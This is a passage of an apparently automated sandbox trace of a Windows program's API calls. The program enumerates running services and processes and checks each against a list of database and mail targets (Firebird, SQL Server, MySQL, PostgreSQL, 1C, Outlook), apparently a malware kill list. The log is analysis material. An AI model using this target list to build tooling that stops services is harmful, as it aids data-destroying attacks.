lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0155.805] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0155.805] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0155.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0155.805] lstrlenW (lpString="nsi") returned 3 [0155.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0155.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0155.805] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0155.805] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0155.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0155.805] lstrlenW (lpString="PcaSvc") returned 6 [0155.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0155.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0155.805] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0155.805] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0155.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0155.805] lstrlenW (lpString="PlugPlay") returned 8 [0155.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0155.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0155.805] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0155.805] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0155.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0155.805] lstrlenW (lpString="Power") returned 5 [0155.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0155.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0155.805] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0155.805] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0155.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0155.805] lstrlenW (lpString="ProfSvc") returned 7 [0155.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0155.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0155.805] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0155.806] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0155.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0155.806] lstrlenW (lpString="RpcEptMapper") returned 12 [0155.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0155.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0155.806] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0155.806] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0155.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0155.806] lstrlenW (lpString="RpcSs") returned 5 [0155.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0155.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0155.806] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0155.806] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0155.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0155.806] lstrlenW (lpString="SamSs") returned 5 [0155.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0155.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0155.806] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0155.806] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0155.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0155.806] lstrlenW (lpString="Schedule") returned 8 [0155.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0155.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0155.806] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0155.806] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0155.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0155.806] lstrlenW (lpString="SENS") returned 4 [0155.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0155.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0155.806] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0155.806] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0155.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0155.806] lstrlenW (lpString="ShellHWDetection") returned 16 [0155.807] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0155.807] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0155.807] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0155.807] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0155.807] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0155.807] lstrlenW (lpString="Spooler") returned 7 [0155.807] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0155.807] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0155.807] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0155.807] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0155.807] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0155.807] lstrlenW (lpString="SysMain") returned 7 [0155.807] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0155.807] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0155.807] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0155.807] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0155.807] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0155.807] lstrlenW (lpString="Themes") returned 6 [0155.807] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0155.807] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0155.807] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0155.807] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0155.807] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0155.807] lstrlenW (lpString="TrkWks") returned 6 [0155.807] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0155.807] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0155.807] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0155.807] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0155.807] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0155.807] lstrlenW (lpString="UxSms") returned 5 [0155.808] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0155.808] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0155.808] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0155.808] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0155.808] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0155.808] lstrlenW (lpString="WdiServiceHost") returned 14 [0155.808] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0155.808] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0155.808] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0155.808] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0155.808] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0155.808] lstrlenW (lpString="WdiSystemHost") returned 13 [0155.808] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0155.808] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0155.808] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0155.808] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0155.808] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0155.808] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0155.808] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0155.808] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0155.808] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0155.808] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0155.808] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0155.808] lstrlenW (lpString="Winmgmt") returned 7 [0155.808] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0155.808] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0155.808] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0155.808] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0155.808] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0155.808] lstrlenW (lpString="WPDBusEnum") returned 10 [0155.808] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0155.808] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0155.808] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0155.809] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0155.810] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0155.810] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x433e1b8 | out: hHeap=0x630000) returned 1 [0155.810] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x338 [0155.811] Process32FirstW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0155.812] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0155.812] lstrlenW (lpString="System") returned 6 [0155.812] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0155.812] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0155.812] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0155.812] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0155.812] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0155.812] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0155.813] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0155.813] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0155.813] lstrlenW (lpString="smss.exe") returned 8 [0155.813] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0155.813] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0155.813] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0155.813] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0155.813] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0155.813] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0155.813] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0155.813] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0155.813] lstrlenW (lpString="csrss.exe") returned 9 [0155.813] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0155.813] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0155.813] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0155.813] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0155.813] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0155.814] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0155.814] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0155.814] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0155.814] lstrlenW (lpString="wininit.exe") returned 11 [0155.814] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0155.814] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0155.814] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0155.814] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0155.814] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0155.814] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0155.814] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0155.814] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0155.814] lstrlenW (lpString="csrss.exe") returned 9 [0155.814] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0155.814] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0155.814] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0155.814] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0155.815] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0155.815] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0155.815] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0155.815] lstrlenW (lpString="winlogon.exe") returned 12 [0155.815] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0155.815] lstrlenW (lpString="services.exe") returned 12 [0155.815] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0155.816] lstrlenW (lpString="lsass.exe") returned 9 [0155.816] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0155.816] lstrlenW (lpString="lsm.exe") returned 7 [0155.816] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0155.816] lstrlenW (lpString="svchost.exe") returned 11 [0155.816] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0155.817] lstrlenW (lpString="svchost.exe") returned 11 [0155.817] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0155.817] lstrlenW (lpString="svchost.exe") returned 11 [0155.817] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0155.817] lstrlenW (lpString="svchost.exe") returned 11 [0155.817] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0155.818] lstrlenW (lpString="svchost.exe") returned 11 [0155.818] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0155.818] lstrlenW (lpString="audiodg.exe") returned 11 [0155.818] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0155.818] lstrlenW (lpString="svchost.exe") returned 11 [0155.818] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0155.818] lstrlenW (lpString="explorer.exe") returned 12 [0155.819] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0155.819] lstrlenW (lpString="dwm.exe") returned 7 [0155.819] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0155.819] lstrlenW (lpString="svchost.exe") returned 11 [0155.819] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0155.819] lstrlenW (lpString="n.exe") returned 5 [0155.820] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0155.820] lstrlenW (lpString="spoolsv.exe") returned 11 [0155.820] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0155.820] lstrlenW (lpString="svchost.exe") returned 11 [0155.820] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0155.820] lstrlenW (lpString="taskhost.exe") returned 12 [0155.820] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0155.821] lstrlenW (lpString="reader_sl.exe") returned 13 [0155.821] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="rundll32.exe")) returned 1 [0155.821] lstrlenW (lpString="rundll32.exe") returned 12 [0155.821] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0155.821] lstrlenW (lpString="n.exe") returned 5 [0155.821] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x374, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0155.822] lstrlenW (lpString="consent.exe") returned 11 [0155.822] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0155.822] lstrlenW (lpString="dllhost.exe") returned 11 [0155.822] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0155.822] CloseHandle (hObject=0x338) returned 1 [0155.822] Sleep (dwMilliseconds=0x1f4) [0156.384] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x42dccb8 [0156.384] EnumServicesStatusExW (in: hSCManager=0x42dccb8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 0 [0156.384] GetLastError () returned 0xea [0156.385] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x11e4) returned 0x433e1b8 [0156.385] EnumServicesStatusExW (in: hSCManager=0x42dccb8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x433e1b8, cbBufSize=0x11e4, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x433e1b8, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 1 [0156.385] CloseServiceHandle (hSCObject=0x42dccb8) returned 1 [0156.385] lstrlenW (lpString="Appinfo") returned 7 [0156.385] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0156.385] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0156.385] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0156.385] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0156.385] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0156.385] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0156.385] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0156.385] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0156.385] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0156.386] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0156.386] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0156.386] lstrlenW (lpString="AudioSrv") returned 8 [0156.386] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0156.386] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", 